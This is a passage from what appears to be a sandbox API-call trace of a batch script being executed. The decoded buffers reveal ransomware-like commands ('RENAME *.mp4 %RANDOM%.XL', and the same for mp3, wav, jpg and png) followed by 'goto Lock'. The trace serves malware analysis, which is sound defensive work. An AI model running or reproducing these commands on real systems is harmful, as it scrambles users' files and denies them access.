dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0040.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0040.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.093] GetFileType (hFile=0x74) returned 0x1 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0040.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=3256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0040.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.094] GetFileType (hFile=0x74) returned 0x1 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0040.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0040.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.094] GetFileType (hFile=0x74) returned 0x1 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0040.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0040.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0040.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.095] GetFileType (hFile=0x74) returned 0x1 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0040.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0040.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0040.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0040.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.095] GetFileType (hFile=0x74) returned 0x1 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0040.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0040.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0040.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0040.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.095] GetFileType (hFile=0x74) returned 0x1 [0040.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0040.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=3303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0040.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0040.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.096] GetFileType (hFile=0x74) returned 0x1 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0040.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=3309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0040.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0040.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0040.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.096] GetFileType (hFile=0x74) returned 0x1 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0040.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=3311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0040.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0040.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0040.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.097] GetFileType (hFile=0x74) returned 0x1 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0040.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=3337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0040.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0040.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0040.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.097] GetFileType (hFile=0x74) returned 0x1 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0040.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0040.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0040.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0040.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.098] GetFileType (hFile=0x74) returned 0x1 [0040.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0040.102] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=3350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0040.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0040.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.102] GetFileType (hFile=0x74) returned 0x1 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0040.102] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=3356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0040.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0040.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0040.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.102] GetFileType (hFile=0x74) returned 0x1 [0040.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0040.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=3358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0040.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0040.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0040.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.103] GetFileType (hFile=0x74) returned 0x1 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0040.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=3384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0040.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0040.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0040.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.103] GetFileType (hFile=0x74) returned 0x1 [0040.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0040.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=3395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0040.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0040.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0040.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.104] GetFileType (hFile=0x74) returned 0x1 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0040.104] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=3397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0040.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0040.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.104] GetFileType (hFile=0x74) returned 0x1 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0040.104] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0040.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0040.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0040.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.105] GetFileType (hFile=0x74) returned 0x1 [0040.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0040.105] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0040.105] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0040.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0040.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.105] GetFileType (hFile=0x74) returned 0x1 [0040.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0040.106] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0040.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0040.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0040.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.106] GetFileType (hFile=0x74) returned 0x1 [0040.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0040.106] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0040.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0040.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0040.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.107] GetFileType (hFile=0x74) returned 0x1 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0040.107] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=3444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0040.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0040.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.107] GetFileType (hFile=0x74) returned 0x1 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0040.107] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0040.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0040.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0040.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.108] GetFileType (hFile=0x74) returned 0x1 [0040.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0040.108] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0040.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0040.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.108] SetFilePointer (in: 